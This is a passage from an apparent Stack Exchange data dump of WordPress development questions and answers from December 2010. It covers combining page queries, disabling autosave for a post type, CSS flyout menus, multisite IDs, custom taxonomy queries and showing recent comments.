$child_pages, $third_page_group ); &#xA;&#xA;unset( $second_page_group, $third_page_group, $args );&#xA;&#xA;if( !empty( $child_pages ) )&#xA;    foreach( $child_pages as $_my_page ) {&#xA;        $title   = apply_filters( 'the_title', $_my_page-&amp;gt;post_title );&#xA;        //$content = apply_filters( 'the_content', $_my_page-&amp;gt;post_content );&#xA;        //$content = str_replace( ']]&amp;gt;', ']]&amp;amp;gt;', $content );&#xA;        $link    = apply_filters( 'the_permalink', get_permalink( $_my_page-&amp;gt;ID ) );&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;thumb-container&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;thumb&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $link ?&amp;gt;&quot;&amp;gt; &amp;lt;?php //echo get_image( &quot;thumbnail&quot;, 1, 1, 1, $_my_page-&amp;gt;ID );?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;p class=&quot;smalltitle&quot;&amp;gt;&amp;lt;?php echo $title ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Old example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Might aswell leave the old example in place&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Setup base args for each get_pages call&#xA;$args = array( &#xA;    'child_of'    =&amp;gt; 174,&#xA;    'sort_column' =&amp;gt; 'post_date',&#xA;    'sort_order'  =&amp;gt; 'desc'&#xA;);&#xA;// Perform the first query to get pages&#xA;$child_pages = get_pages( $args );&#xA;// Count the results&#xA;$c = count( $child_pages );&#xA;// Update the child_of arg to another ID&#xA;$args['child_of'] = 143;&#xA;// Perform the second call to get children pages&#xA;$second_page_group = get_pages( $args );&#xA;&#xA;// If there were pages in the first group&#xA;if( $c )&#xA;    // Add them into the first array returned&#xA;    foreach( $second_page_group as $k =&amp;gt; $p ) {&#xA;        $child_pages[$c] = $p;&#xA;        $c++;&#xA;    }&#xA;else&#xA;    // Else fill the array with the results of the second query&#xA;    $child_pages = $second_page_group;&#xA;// Cleanup&#xA;unset($second_page_group);&#xA;// Count the results again&#xA;$c = count( $child_pages );&#xA;// Update the child_of arg to another ID before the final get_pages call&#xA;$args['child_of'] = 146;&#xA;// Make the third call&#xA;$third_page_group = get_pages( $args );&#xA;// If we have results, add these into that array&#xA;if( $c )&#xA;    foreach( $third_page_group as $k =&amp;gt; $p ) {&#xA;        $child_pages[$c] = $p;&#xA;        $c++;&#xA;    }&#xA;else&#xA;    // Else fill the array with the results of the final query&#xA;    $child_pages = $third_page_group;&#xA;// Cleanup&#xA;unset($third_page_group);&#xA;&#xA;if( !empty( $child_pages ) )&#xA;    foreach( $child_pages as $_my_page ) {&#xA;        $title   = apply_filters( 'the_title', $_my_page-&amp;gt;post_title );&#xA;        //$content = apply_filters( 'the_content', $_my_page-&amp;gt;post_content );&#xA;        //$content = str_replace( ']]&amp;gt;', ']]&amp;amp;gt;', $content );&#xA;        $link    = apply_filters( 'the_permalink', get_permalink( $_my_page-&amp;gt;ID ) );&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;thumb-container&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;thumb&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $link ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo get_image( &quot;thumbnail&quot;, 1, 1, 1, $_my_page-&amp;gt;ID );?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;p class=&quot;smalltitle&quot;&amp;gt;&amp;lt;?php echo $title ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-18T19:01:52.977" LastActivityDate="2010-12-18T19:01:52.977" CommentCount="8" />
  <row Id="5589" PostTypeId="2" ParentId="5584" CreationDate="2010-12-18T15:08:21.983" Score="2" ViewCount="" Body="&lt;p&gt;Apparently de-registering the autosave javascript will essentially stop the autosave routine running. It won't necessarily disable the ability for autosaves to happen on that post type, but it will stop the native autosave script running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a perfect solution but it should have the desired effect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse5584_kill_autosave_on_postype( $src, $handle ) {&#xA;    global $typenow;&#xA;    if( 'autosave' != $handle || $typenow != 'your-post-type-here' )&#xA;        return $src;&#xA;    return '';&#xA;}&#xA;add_filter( 'script_loader_src', 'wpse5584_kill_autosave_on_postype', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; With the above code, when on the post creation screen for that type you should see the following in the source of the page..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;var autosaveL10n = {&#xA;    autosaveInterval: &quot;60&quot;,&#xA;    previewPageText: &quot;Preview this Page&quot;,&#xA;    previewPostText: &quot;Preview this Post&quot;,&#xA;    requestFile: &quot;http://yoursite/wp-admin/admin-ajax.php&quot;,&#xA;    savingText: &quot;Saving Draft&amp;amp;#8230;&quot;,&#xA;    saveAlert: &quot;The changes you made will be lost if you navigate away from this page.&quot;&#xA;};&#xA;try{convertEntities(autosaveL10n);}catch(e){};&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type='text/javascript' src=''&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variables aren't what we're looking at here, it's the script at the bottom, notice the src now points nowhere (this was originally pointing at the autosave.js file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you see something similar to the above, or is the src still getting written with the path to the autosave.js file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2:&lt;/strong&gt; This is what i see with concatenate scripts off.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='http://example/wp-admin/load-scripts.php?c=0&amp;amp;amp;load=hoverIntent,common,jquery-color,schedule,wp-ajax-response,suggest,wp-lists,jquery-ui-core,jquery-ui-sortable,postbox,post,word-count,thickbox,media-upload&amp;amp;amp;ver=e1039729e12ab87705c047de01b94e73'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the autosave script is being excluded still.. (so thus far i'm unable to reproduce your problem)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where are you placing the code i provided? &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-19T13:33:12.777" LastActivityDate="2010-12-19T13:33:12.777" CommentCount="10" />
  <row Id="5590" PostTypeId="1" AcceptedAnswerId="5591" CreationDate="2010-12-18T15:12:19.530" Score="0" ViewCount="250" Body="&lt;p&gt;I'm looking for some options for creating a horizontal flyout/rollover menu from the WordPress categories listing when category items have child nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, all in css, but I can include javascript or enqueue jQuery too.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-18T16:14:56.520" Title="Making a horizontal flyout menu from WordPress category listing" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="5591" PostTypeId="2" ParentId="5590" CreationDate="2010-12-18T16:09:14.310" Score="1" ViewCount="" Body="&lt;p&gt;A lot of themes have a menu like this. The CSS I'm usually using (I left the visual stuff like colors out):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(assumming the container is a div and its class is &lt;code&gt;.nav&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* 1st level items are layed out horizontally */&#xA;.nav li{&#xA;  position:relative;&#xA;  float:left;&#xA;}&#xA;&#xA;/* level 2+ */&#xA;.nav ul ul{&#xA;  position:absolute;&#xA;  z-index:15;&#xA;  display:none;&#xA;  width:300px;&#xA;  top:20px;&#xA;}&#xA;&#xA;/* level 3+ */&#xA;.nav ul ul ul{&#xA;  top:10px;&#xA;  left:280px;&#xA;}&#xA;&#xA;/* 2nd level+ items vertically */&#xA;.nav li li{&#xA;  float: none;&#xA;}&#xA;&#xA;/* when mouse over a list item, show its child nodes */&#xA;.nav li:hover ul, .nav li li:hover ul,&#xA;.nav li li li:hover ul, .nav li li li li:hover ul{&#xA;  display:block;&#xA;}&#xA;&#xA;/* related to the above property, hide the child's child nodes :) */&#xA;.nav li:hover ul ul, .nav li:hover ul ul ul,&#xA;.nav li:hover ul ul ul ul{&#xA;  display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;a href=&quot;http://users.tpg.com.au/j_birch/plugins/superfish/&quot; rel=&quot;nofollow&quot;&gt;superfish&lt;/a&gt; on the list to apply some nice effects to the menu and to make it work in IE 6.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-18T16:14:56.520" LastActivityDate="2010-12-18T16:14:56.520" CommentCount="1" />
  <row Id="5592" PostTypeId="1" AcceptedAnswerId="5593" CreationDate="2010-12-18T17:06:32.957" Score="1" ViewCount="172" Body="&lt;p&gt;The get_blog_list() function has been deprecated from v3.0. How does one get a list of blogs in a multisite blog?&lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-05-03T16:12:17.350" LastActivityDate="2011-05-03T16:12:17.350" Title="How to Get a List of Sub Blogs without Using get_blog_list()?" Tags="&lt;plugin-development&gt;&lt;multisite&gt;" AnswerCount="2" />
  <row Id="5593" PostTypeId="2" ParentId="5592" CreationDate="2010-12-18T17:16:05.963" Score="2" ViewCount="" Body="&lt;p&gt;Trac has some discussion and code for possible replacement in future version, ticket &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14511&quot; rel=&quot;nofollow&quot;&gt;#14511 new function - wp_get_sites($args)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-18T17:16:05.963" CommentCount="3" />
  <row Id="5594" PostTypeId="1" AcceptedAnswerId="5598" CreationDate="2010-12-18T17:39:43.170" Score="0" ViewCount="239" Body="&lt;p&gt;The going through the mu functions source I come across references to two different ids for sub-blogs - site id and blog ids. In what context is each used?&lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-17T16:24:54.150" LastActivityDate="2011-02-17T16:24:54.150" Title="What is difference between blog id and site id?" Tags="&lt;plugin-development&gt;&lt;multisite&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5595" PostTypeId="1" CreationDate="2010-12-18T18:18:04.253" Score="0" ViewCount="165" Body="&lt;p&gt;I want to edit my permalink structure so that individual post URLs are structured like this...blog.com/p1, blog.com/p2, blog.com/p523, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to edit my permalink structure so that comment URLs are structured like this this...blog.com/c1, blog.com/c2, blog.com/c324, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these two things possible via the permalink settings? If not could it be possible via building a customized plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also...I'd like each comment to live on a dedicated page. Comments would still appear below posts, but each comment would have its own permalink that went to a dedicate page containing just that comment.  Would something like this be possible via building a customized plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any advice you can offer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eddie&lt;/p&gt;&#xA;" LastActivityDate="2010-12-23T09:48:47.963" Title="Permalink structure and dedicated comment pages" Tags="&lt;comments&gt;&lt;posts&gt;&lt;permalinks&gt;&lt;urls&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5596" PostTypeId="2" ParentId="5595" CreationDate="2010-12-18T18:26:47.377" Score="0" ViewCount="" Body="&lt;p&gt;Separate pages for individual comments seems like what &lt;a href=&quot;http://wordpress.org/extend/plugins/seo-super-comments/&quot; rel=&quot;nofollow&quot;&gt;SEO Super Comments&lt;/a&gt; plugin does.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-18T18:26:47.377" CommentCount="3" />
  <row Id="5597" PostTypeId="1" AcceptedAnswerId="5615" CreationDate="2010-12-18T19:09:36.857" Score="0" ViewCount="92" Body="&lt;p&gt;I am having a wordpress blog at &lt;a href=&quot;http://thelazy.info/&quot; rel=&quot;nofollow&quot;&gt;http://thelazy.info/&lt;/a&gt; . By default, only one post is displayed on the page. I want to increase the default content on the main page to 5-10 posts with a small ting of comments. Is there some plugin or setting to do that in buddypress/wordpress.&lt;/p&gt;&#xA;" OwnerUserId="1926" LastActivityDate="2010-12-22T12:44:01.100" Title="Summary and Comments on Main landing Page" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;buddypress&gt;&lt;homepage&gt;" AnswerCount="1" />
  <row Id="5598" PostTypeId="2" ParentId="5594" CreationDate="2010-12-18T19:37:58.530" Score="4" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;site_id&lt;/strong&gt; = the ID of the parent site (the domain, eg. wordpress.com)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;blog_id&lt;/strong&gt; = the ID of the parent site's blog(s) (usually sub-domains, eg mary.wordress.com)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-18T19:37:58.530" CommentCount="1" />
  <row Id="5599" PostTypeId="1" AcceptedAnswerId="5601" CreationDate="2010-12-18T19:53:50.130" Score="0" ViewCount="172" Body="&lt;p&gt;I'm facing a strange problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'ff', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'posts_per_page' =&amp;gt; 10 ) );&#xA;              while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;(...)&#xA;&#xA;              &amp;lt;?php endwhile; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code displays all posts of &quot;ff&quot; type. Works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I do not want to list all posts of this type, I just want the ones that are in &quot;ff_show&quot; category (so the slug/term is &quot;ff_show).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex tells me that I should use 'category_name' but when I do the loop is always empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'ff', 'category_name' =&amp;gt; 'ff_show',  'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'posts_per_page' =&amp;gt; 10 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried typing everything after 'category_name', nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The funny thing is when I use category instead of category_name - it ALWAYS shows all the posts. No matter what ID I give.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure about my category name, it is exactly as I said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I login to my panel admin and go to categories and hover over one of them it points to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&amp;amp;taxonomy=frontpage_categories&amp;amp;post_type=ff&amp;amp;tag_ID=19&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&amp;amp;taxonomy=frontpage_categories&amp;amp;post_type=ff&amp;amp;tag_ID=19&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;BUT 'cat' =&gt; '19' shows nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:/&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2010-12-18T20:20:04.873" LastActivityDate="2010-12-18T20:30:45.463" Title="Displaying posts of given category" Tags="&lt;categories&gt;&lt;taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5600" PostTypeId="1" AcceptedAnswerId="5602" CreationDate="2010-12-18T20:11:51.667" Score="1" ViewCount="163" Body="&lt;p&gt;I have this loop in my wordpress site which displays the latest posts with their titles, I want to display the post content after the title. I normally retrieve it with the function get_the_content but I cannot make it work in this case. This is the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   while ( $q_query-&amp;gt;have_posts() )&#xA;   {&#xA;&#xA;    $q_query-&amp;gt;next_post();&#xA;    $question = get_post($q_query-&amp;gt;post);&#xA;   $loophtml = $loophtml . &quot;&amp;lt;li&amp;gt;&amp;lt;span class='list-question-title'&amp;gt;&quot; . &quot;&amp;lt;a class='list-answer-link' href='&quot; . get_permalink($question-&amp;gt;ID) .&quot;'&amp;gt;&quot; . $question-&amp;gt;post_title . &quot;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&quot;;&#xA;   $loophtml = $loophtml . &quot;&amp;lt;span class='list-number-answers'&amp;gt;&quot; . get_comments_number($question-&amp;gt;ID) . &quot; comentarios&amp;lt;/span&amp;gt;&amp;amp;nbsp;&amp;amp;#183;&amp;amp;nbsp&amp;lt;a href='&quot; . get_permalink($question-&amp;gt;ID) .&quot;'&amp;gt;Comentar&amp;lt;/a&amp;gt;&quot;;&#xA;   $loophtml = $loophtml . &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how I could do it? Thanks&lt;/p&gt;&#xA;" LastActivityDate="2010-12-18T20:32:23.027" Title="How do I display the function the_content in this loop?" Tags="&lt;php&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="5601" PostTypeId="2" ParentId="5599" CreationDate="2010-12-18T20:15:38.480" Score="1" ViewCount="" Body="&lt;p&gt;Are you absolutely sure &lt;code&gt;ff_show&lt;/code&gt; is correct slug? I have suspicions about that underscore...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;category&lt;/code&gt; is not valid query argument at all, it is probably simply discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you tried this query with id instead of slug? &lt;code&gt;cat&lt;/code&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wait, you are trying to query custom taxonomy? Category arguments have no relation to it at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;frontpage_categories =&amp;gt; ff_show&lt;/code&gt; (quick guess, don't remember specifics of querying custom stuff. again - not my area).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, found it at last &lt;a href=&quot;http://codex.wordpress.org/Custom_Taxonomies#Querying_by_taxonomy&quot; rel=&quot;nofollow&quot;&gt;Custom Taxonomies &gt; Querying by Taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-18T20:30:45.463" LastActivityDate="2010-12-18T20:30:45.463" CommentCount="4" />
  <row Id="5602" PostTypeId="2" ParentId="5600" CreationDate="2010-12-18T20:21:14.093" Score="3" ViewCount="" Body="&lt;p&gt;try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;global $post;&#xA;while ($q_query-&amp;gt;have_posts()){&#xA;  $q_query-&amp;gt;the_post();&#xA;&#xA;  $loophtml .= &quot;&amp;lt;li&amp;gt;&amp;lt;span class='list-question-title'&amp;gt;&quot; . &quot;&amp;lt;a class='list-answer-link' href='&quot; . get_permalink() .&quot;'&amp;gt;&quot; . get_the_title() . &quot;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&quot;;&#xA;  $loophtml .= get_the_content();&#xA;  $loophtml .= &quot;&amp;lt;span class='list-number-answers'&amp;gt;&quot; . get_comments_number() . &quot; comentarios&amp;lt;/span&amp;gt;&amp;amp;nbsp;&amp;amp;#183;&amp;amp;nbsp&amp;lt;a href='&quot; . get_permalink() .&quot;'&amp;gt;Comentar&amp;lt;/a&amp;gt;&quot;;&#xA;  $loophtml .= &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;wp_reset_query();&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-18T20:21:14.093" CommentCount="1" />
  <row Id="5603" PostTypeId="2" ParentId="5600" CreationDate="2010-12-18T20:21:54.000" Score="2" ViewCount="" Body="&lt;p&gt;A little unusual Loop structure you have there. &lt;code&gt;get_the_content()&lt;/code&gt; works inside the Loop and with global variables set up. And you are not setting up those global variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work with your current code it will be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters('the_content', $question-&amp;gt;post_content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make template tags work properly you need to use &lt;code&gt;setup_postdata()&lt;/code&gt;, see examples in &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt; documentation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-18T20:32:23.027" LastActivityDate="2010-12-18T20:32:23.027" CommentCount="1" />
  <row Id="5604" PostTypeId="2" ParentId="1567" CreationDate="2010-12-18T21:46:16.113" Score="2" ViewCount="" Body="&lt;h2&gt;&lt;strong&gt;Create a conditional tag for custom taxonomies&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In this example, 'student' was a custom post type, and 'stud_cat' was the custom taxonomy. Use &lt;code&gt;has_student(null)&lt;/code&gt; for the conditional&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function has_student( $student, $_post = null ) {&#xA;    if ( !empty( $student ) )&#xA;        return false;&#xA;    if ( $_post )&#xA;        $_post = get_post( $_post );&#xA;    else&#xA;        $_post =&amp;amp; $GLOBALS['post'];&#xA;    if ( !$_post )&#xA;        return false;&#xA;    $r = is_object_in_term( $_post-&amp;gt;ID, 'studcat', $student );&#xA;    if ( is_wp_error( $r ) )&#xA;        return false;&#xA;    return $r;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-12-18T21:46:16.113" CommunityOwnedDate="2010-12-18T21:46:16.113" CommentCount="1" />
  <row Id="5605" PostTypeId="2" ParentId="5571" CreationDate="2010-12-18T22:10:18.817" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I create a loop with multiple post types and specify different $args for each post type?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simply put no... you can't have a single query instance with three differing sets of arguments. The reason why is pretty simple, the query class will only take one array of arguments per instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want differing sets of results, then you need additional queries. And sometimes, just sometimes, plonking everything into one query isn't necessarily the most efficient means for grabbing the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't work on high traffic websites to have any real idea about what queries work out best performance wise, i simply wished to point out, having one query doesn't necessarily translate into being more efficient.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-18T22:10:18.817" />
  <row Id="5606" PostTypeId="2" ParentId="5568" CreationDate="2010-12-18T22:15:56.100" Score="5" ViewCount="" Body="&lt;p&gt;Thanks all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;image_send_to_editor&lt;/strong&gt; filter was the one I was looking for... thanks @t31os for pointing it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my functions now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_thumbnail_html', 'remove_thumbnail_dimensions', 10 );&#xA;add_filter( 'image_send_to_editor', 'remove_thumbnail_dimensions', 10 );&#xA;&#xA;function remove_thumbnail_dimensions( $html ) {&#xA;    $html = preg_replace( '/(width|height)=\&quot;\d*\&quot;\s/', &quot;&quot;, $html );&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This removes inline dimension attributes from images retrieved with &lt;code&gt;the_post_thumbnail()&lt;/code&gt;, and prevents those attributes from being added to new images added to the editor. Doesn't remove them from images retrieved through &lt;code&gt;wp_get_attachment_image&lt;/code&gt; or other related functions (no hooks in there), but those cases can be processed in the templates files when necessary.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-18T22:15:56.100" />
  <row Id="5607" PostTypeId="1" CreationDate="2010-12-18T22:17:18.733" Score="1" ViewCount="71" Body="&lt;p&gt;In my site the posts content is always the name of a school, so if I search for Chicago I get a lot of posts with different schools as content. What I want to do is to get the Schools with the most posts, so I could display this somewhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;School A - 4&#xA;School B - 3&#xA;School C - 2&#xA;School D - 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The number at the right is the number of posts the school has)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need to get the most repeated post contents from a particular search including the ones that don't appear in first results page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how complicated it can be so if there is no simple way I would be very grateful for just being pointed towards the right direction, so I later figure out how to do it. My site is made with wordpress and the posts are on a SQL database. Please ask if it's not clear or for any more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-02-07T08:30:13.263" Title="Get the most repeated post contents from a search?" Tags="&lt;php&gt;&lt;html&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="5609" PostTypeId="2" ParentId="646" CreationDate="2010-12-19T01:30:53.620" Score="2" ViewCount="" Body="&lt;p&gt;Another option, explode -&gt; pop -&gt; implode...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = explode( '&amp;lt;br /&amp;gt;', wp_list_categories( 'include='.$cat_ids.'&amp;amp;title_li=&amp;amp;style=none&amp;amp;echo=0' ) );&#xA;array_pop($output);&#xA;echo implode(' // ',$output);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-19T01:30:53.620" />
  <row Id="5610" PostTypeId="1" CreationDate="2010-12-19T01:36:33.477" Score="2" ViewCount="135" Body="&lt;p&gt;let's say I have posts with hundreds of comments, and that I want to show only the last N comments and then a link to a page read them all. How would I display the last N comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;Dino. &lt;/p&gt;&#xA;" OwnerUserId="2057" LastActivityDate="2010-12-19T16:54:17.267" Title="Show last n comments" Tags="&lt;comments&gt;&lt;get-comments&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5611" PostTypeId="2" ParentId="5610" CreationDate="2010-12-19T02:13:04.520" Score="1" ViewCount="" Body="&lt;p&gt;See.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_comments&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_comments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the orderby parameter to your desired value, possible values are.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comment_agent&#xA;comment_approved&#xA;comment_author&#xA;comment_author_email&#xA;comment_author_IP&#xA;comment_author_url&#xA;comment_content&#xA;comment_date&#xA;comment_date_gmt&#xA;comment_ID&#xA;comment_karma&#xA;comment_parent&#xA;comment_post_ID&#xA;comment_type&#xA;user_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Refer to the link already provided for info on setting other parameters, and general examples.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-19T16:37:34.310" LastActivityDate="2010-12-19T16:37:34.310" CommentCount="6" />
